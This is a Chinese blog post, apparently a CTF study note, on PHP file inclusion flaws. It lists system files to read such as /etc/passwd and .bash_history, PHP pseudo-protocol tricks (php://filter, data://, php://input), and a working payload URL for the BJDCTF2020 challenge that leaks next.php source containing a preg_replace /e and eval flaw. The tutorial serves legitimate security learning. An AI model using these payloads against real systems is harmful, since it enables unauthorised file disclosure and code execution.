PHP文件包含

文章讲述了在CTF竞赛中常见的文件包含漏洞,包括本地文件和远程文件的利用方式,以及伪协议如data://、php://filter等在绕过安全限制获取文件内容的应用。特别提到了PHP的preg_replace/e模式漏洞作为攻击手段。
摘要由CSDN通过智能技术生成

文件包含就是将一个文件包含进来,为了方便开发,避免重复写多处都要使用的代码。而一般再CTF中看到?file=xxxx的时候就要下意识想到文件包含。
文件包含有两种,一个是本地文件,另一个是远程文件包含。

本地文件包含

本地文件包含呢需要了解一些经常用到的文件路径,如下:

/flag                                        //flag路径
/etc/passwd                                  //Linux存放用户名的文件
/home/xxx/.bash_history                      /用户命令记录
/var/log/auth.log							 //ssh日志

在题目中呢就可以将这些路径带进去尝试,但要先判断它的代码是什么样的

<?php
include($_GET['file']);
include('/var/www/html/'.$_GET['file']);

这两行代码不同点就在于,第二行会自己拼接一段文件路径,在尝试过程中如果没有文件该有的内容或是报错,就要考虑是不是第二行的代码,此时要用../去跳目录读取。
这种本地文件包含漏洞一般都会与文件上传漏洞相结合来考察,也会和其他方法结合,具体遇到题目再进行学习积累。

远程文件包含

远程文件包含的条件就有些刁钻了,他需要配置文件中allow_url_include开关是打开的状态,现在一般也不会有人会把这个开关打开,所以也只能在一些特定环境中利用了。常用的就像http、ftp协议等去包含远程服务器的文件,例如?file=http://url/xx/file

常用的伪协议

上面呢当然只是基础,伪协议才是CTF中经常会用到的。

  1. file://
    用来读取本地文件,后面跟文件的绝对路径和文件名
  2. php://filter
    是一种元封装器,用于数据流打开的筛选过滤应用。基本语法:php://filter/read(write)=过滤器名称/resource=文件路径
    常用的过滤器呢就有convert.Base64-encode,题目给提示的话,就可以利用这个过滤器将文件内容进行base64加密后显示在页面上,然后通过解密就能得到文件内容很好用,但是有些题目会检测base64字样,那就可以更换其他过滤器如:convert.iconv.utf-8.utf-7(实现从utf-8到utf-7的转换)convert.quoted-printable-encode
  3. phar://
    可以用来访问压缩包内的文件,经常与文件上传漏洞结合使用,只要文件为压缩包结构,不管文件后缀是什么,就能访问。
  4. zip://、bzip2://、zlib://
    效果和phar://协议一样,但这里的伪协议需要知道文件的绝对路径,访问压缩包内文件的分隔符为#,所以很难使用
  5. data://
    这个协议也需要allow_url_includeallow_url_fopen开关打开,这个协议通常用来传递数据
    用法:data://text/plain,<?php phpinfo();?>data://text/plain,base64,hdhdhd。将我们想要传入的数据进行包含
  6. php://input
    我们可以利用这个伪协议,将我们想传入的内容放在POST中data部分,这样就能被包含。

例题 [BJDCTF2020]ZJCTF,不过如此

下面我们就看一下这道题
打开题目,页面上就一份代码,顺便查看以下页面源代码,什么都没有,那就分析以下代码吧

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){    //读取$text变量传入的文件名,内容要是I have a dream
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";      //输出文件内容
    if(preg_match("/flag/",$file)){          //匹配flag字段
        die("Not now!");
    }

    include($file);  //next.php    包含$file文件,同时也给了一个提示
    
}
else{
    highlight_file(__FILE__);
}
?>

我们上面刚看过data伪协议可以传入内容,那么I have a dream那里就很容易通过了,后面就没思路了。既然提示了next.php,那么我们就尝试看一下吧。

?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

base64解密之后就得到下面的代码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {  //定义一个函数,里面是一个正则
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {     //变量覆盖中提到过的foreach函数
    echo complex($re, $str). "\n";
}

function getFlag(){          //我们想调用的函数
	@eval($_GET['cmd']);
}

这里面先定义了一个函数,然后在foreach函数中被调用,正则使用的是preg_replace,经过了解知道这个函数的/e模式有命令执行漏洞,而且也是PHP独有的模式;另外一个搞不懂的就是\\1这个东西,查看其他大佬讲解明白了,这是一个反向引用,在它两边添加括号后,会将匹配到的存放在一个临时缓冲区中,并且编号从1开始,缓冲区里的内容可以通过'\n'来访问,n表示缓冲区编号。

详细相关可以看这篇文章php preg_replace /e 模式 漏洞分析

后面对于现在的我来说有点太复杂了,就只能先到这里了,以后再来解决这道题。

  • 18
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值